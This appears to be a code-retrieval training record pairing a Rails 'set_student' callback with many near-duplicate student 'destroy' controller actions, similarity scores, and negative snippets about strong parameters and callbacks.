"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n student.destroy\n respond_to do |format|\n format.html { redirect_to admin_students_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dojo_student = DojoStudent.find(params[:id])\n @dojo_student.destroy\n\n respond_to do |format|\n format.html { redirect_to dojo_students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: \"Student was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: \"Student was successfully removed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_entity.destroy\n render json: {msg: 'deleted successfully'}, status: 200\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to login_index_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to user_students_url(@user), notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @student1 = Student1.find(params[:id])\r\n @student1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to student1s_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def delete\n\n @student = Student.find(params[:id])\n @student.destroy\n redirect_to \"/students/\"\n\n end",
"def destroy\n begin\n student = Student.find(params[:id])\n student.destroy!\n\n render json: {status: 'SUCCESS', message:\"Student deleted Successfully with name #{student.name}\"}, status: :ok\n rescue => error\n render json: {status: 'ERROR', message:'Student Update failed!', data:error}, status: :unprocessable_entity\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Se borró el registro de alumna satisfactoriamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @indexstudent = Indexstudent.find(params[:id])\n @indexstudent.destroy\n\n respond_to do |format|\n format.html { redirect_to indexstudents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url,\n notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: \"Student was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: \"Student was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: \"Student was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = @current_lop.students.find(params[:id])\n if @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html {\n flash[:success] = \"Estudante apagado.\"\n redirect_to students_url\n }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = current_user.students.find(params[:id])\n @student.destroy\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to import_students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_user = StudentUser.find(params[:id])\n @student_user.destroy\n\n respond_to do |format|\n format.html { redirect_to student_users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\tStudent.delete_student_by_id(params[:id])\n\n\t\trender :json => params[:id]\n\tend",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: '生徒情報は削除されました' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_students_url, notice: 'Student was successfully destroyed' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to active_students_url, notice: 'Student was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to admin_students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to admin_students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to admin_students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to @student.school, notice: 'Student deletion successful.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n flash[:notice] = \"Student has been deleted successfully\"\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to group_students_path(@group), notice: 'Student was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n id = @student.usuario_id\n @usuario = Usuario.find(id)\n @usuario.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to visitors_url, notice: 'El estudiante fue borrado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_test = StudentTest.find(params[:id])\n @student_test.destroy\n\n respond_to do |format|\n format.html { redirect_to student_tests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n Student.find(params[:id]).destroy\n # respond_to do |format|\n # format.html { redirect_to student_url, notice: 'Student was successfully removed.' }\n # format.json { head :no_content }\n # end\n redirect_to students_path\n end",
"def destroy\n @people_student.destroy\n respond_to do |format|\n format.html { redirect_to people_students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @class_student.destroy\n respond_to do |format|\n format.html { redirect_to class_students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n end",
"def destroy\n @student_interest.destroy\n respond_to do |format|\n format.html { redirect_to student_interests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Студент був видалений.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:student_id])\n @lunchdetention = Lunchdetention.find(params[:id])\n @lunchdetention.destroy\n\n respond_to do |format|\n format.html { redirect_to student_url(@student) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_student.destroy\n respond_to do |format|\n format.html { redirect_to admin_students_url, notice: \"Student was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @manage_student.destroy\n respond_to do |format|\n format.html { redirect_to manage_students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_major = StudentMajor.find(params[:id])\n @student_major.destroy\n\n respond_to do |format|\n format.html { redirect_to student_majors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @studentgrade = Studentgrade.find(params[:id])\n @studentgrade.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:student_id])\n @inschool = Inschool.find(params[:id])\n @inschool.destroy\n\n respond_to do |format|\n format.html { redirect_to student_url(@student) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to manage_school_school_path(@school), notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n flash[:notice] = 'Record mahasiswa berhasil dihapus, #{undo_link(@student)}'\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n delete_with_references(@student,students_path)\n end",
"def destroy\n @find_student.destroy\n respond_to do |format|\n format.html { redirect_to find_students_url, notice: 'Find student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @online_student = OnlineStudent.find(params[:id])\n @online_student.destroy\n\n respond_to do |format|\n format.html { redirect_to online_students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @enrolled_student = EnrolledStudent.find(params[:id])\n @enrolled_student.destroy\n\n respond_to do |format|\n format.html { redirect_to enrolled_students_url }\n format.json { head :ok }\n end\n end",
"def destroy\n StdTeacher.where(\"idStd = ? AND idTeacher = ?\", params[:id], current_user.teacher.id).delete_all\n #@student = current_user.teacher.students.find(params[:id])\n #@student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n @student.destroy\n redirect_to students_path\n end"
] |
[
"0.781907",
"0.7671166",
"0.7663204",
"0.76587826",
"0.7656264",
"0.7656264",
"0.7656264",
"0.7656264",
"0.7656264",
"0.7656264",
"0.7656264",
"0.7656264",
"0.7620924",
"0.7620924",
"0.7620924",
"0.7620924",
"0.75964904",
"0.74745804",
"0.7466961",
"0.7465633",
"0.7436561",
"0.7429158",
"0.7402782",
"0.7402699",
"0.73654455",
"0.73494464",
"0.733778",
"0.73373526",
"0.7333772",
"0.73314625",
"0.73314625",
"0.73314625",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73299444",
"0.73283803",
"0.731351",
"0.7309007",
"0.7308372",
"0.7298446",
"0.72841483",
"0.72801334",
"0.7276402",
"0.7269396",
"0.7255781",
"0.7255781",
"0.7255781",
"0.7255781",
"0.7255781",
"0.7255781",
"0.724785",
"0.724785",
"0.724785",
"0.7245329",
"0.72397363",
"0.72266316",
"0.72234833",
"0.7210839",
"0.7209903",
"0.7199471",
"0.7195342",
"0.71922004",
"0.71836406",
"0.7176675",
"0.71756953",
"0.7163579",
"0.7149916",
"0.71115744",
"0.7105781",
"0.7101114",
"0.70925987",
"0.7088",
"0.7084159",
"0.7075075",
"0.7060222",
"0.70583296",
"0.705735",
"0.70473886",
"0.7046323",
"0.7044381"
] |
0.7527029
|
17
|
Use callbacks to share common setup or constraints between actions.
|
def set_student
@student = Student.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def student_params
params.require(:student).permit(:email, :name, :password, :edu_level, :book_limit, :university_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def valid_params_request?; end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
